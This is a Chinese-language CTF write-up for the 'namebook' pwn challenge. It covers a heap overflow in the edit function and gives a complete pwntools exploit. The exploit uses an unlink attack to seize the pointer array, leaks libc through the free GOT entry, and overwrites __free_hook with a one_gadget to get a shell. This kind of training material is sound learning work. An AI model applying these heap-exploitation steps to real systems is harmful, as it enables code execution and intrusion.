namebook

一花一木一世界 一草一物一乾坤
一生一死一离别 一爱一恨无绝期

检查机制:

1
2
3
4
5
6
7
sir@sir-PC:~/desktop$ checksec name
[*] '/home/sir/desktop/name'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

开启了RELRO,这里提一下:
在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域. 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处;
GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation.大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读;
RELRO设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击;
也就是这道题修改got表的方法可能就会失败;

漏洞发现

set name功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int sub_4009B8()
{
int result; // eax@2
int v1; // [sp+Ch] [bp-4h]@1

printf("index:");
v1 = sub_4008F0();
if ( v1 <= 9 )
{
*(_QWORD *)&ptr[8 * v1] = malloc(0x80uLL);
printf("name:");
write_s(*(_QWORD *)&ptr[8 * v1], 0x80u);
result = puts("done.");
}
else
{
result = puts("invalid range");
}
return result;
}

reset name功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int edit()
{
int result; // eax@3
int v1; // [sp+Ch] [bp-4h]@1

printf("index:");
v1 = sub_4008F0();
if ( v1 <= 9 && *(_QWORD *)&ptr[8 * v1] )
{
printf("name:");
write_s(*(_QWORD *)&ptr[8 * v1], 0x100u); //这里有溢出 0x100u > 0x80u
result = puts("done.");
}
else
{
result = puts("invalid range");
}
return result;
}

这里添加name的时候申请的是0x80的chunk,但是编辑name的时候却可以写0x100个字符串进去;

1
2
3
4
bss:0000000000602029                 align 20h
.bss:0000000000602040 ; char ptr[80]
.bss:0000000000602040 ptr dq ? ; DATA XREF: add+48w
.bss:0000000000602040 ; add+64r ...

这里将ptr放在了bss段;

思路

因为开了写入的字符串都加了‘\x00’,所以我们不能直接通过delete来泄露libc;但是我们可以通过unlink的操作来修改ptr的指针,然后来泄露libc,因为不可以修改got表了,所以通过修改将__free_hook地址的内容改为one_gadget的地址;
找one_gadget的偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sir@sir-PC:~/desktop$ one_gadget ./libc.so.6
0x46428 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4647c execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xe9415 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xea36d execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './name'
p = process(name)
#p=remote('pwn2.jarvisoj.com', 9893)
elf= ELF(name)
libc = ELF('./bc.so.6')
if args.G:
gdb.attach(p)

def add(i,s):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(i))
p.recvuntil('name')
p.sendline(s)

def delete(i):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(i))

def show(i):
p.recvuntil('>')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(i))

def edit(i,s):
p.recvuntil('>')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(i))
p.recvuntil('name')
p.sendline(s)

add(0,'a'*8)
add(1,'b'*8)
#unlink
fd = 0x602040 - 0x18
bk = 0x602040 - 0x10
pay = p64(0) + p64(0x80) + p64(fd) + p64(bk) + 'q'*(0x80 - 4*8) + p64(0x80) + p64(0x90)
edit(0,pay)
delete(1)
#leak
pay1 = p64(0) + p64(0) + p64(0) + p64(elf.got['free']) + p64(0x602040)
edit(0,pay1)
show(0)
free_addr = u64(p.recv(6) + '\x00'*2)
libc_addr = free_addr - 0x83120
one_gadget = libc_addr + 0xe9415
free_hook = libc_addr + 0x3c4a10
success("free_addr: " + hex(free_addr))
success("libc_addr: " + hex(libc_addr))
success("one_gadget: " + hex(one_gadget))
success("free_hook: " + hex(free_hook))
#cover
edit(1,p64(free_hook))
edit(0,p64(one_gadget))
#execve("/bin/sh", rsp+0x50, environ)
delete(0)
p.interactive()

总结

free_hook 和 malloc_hook 以及 one_gadget是在libc中的,合理利用威力强大

文章目录
  1. 1. 检查机制:
  2. 2. 漏洞发现
  3. 3. 思路
  4. 4. EXP
  5. 5. 总结
,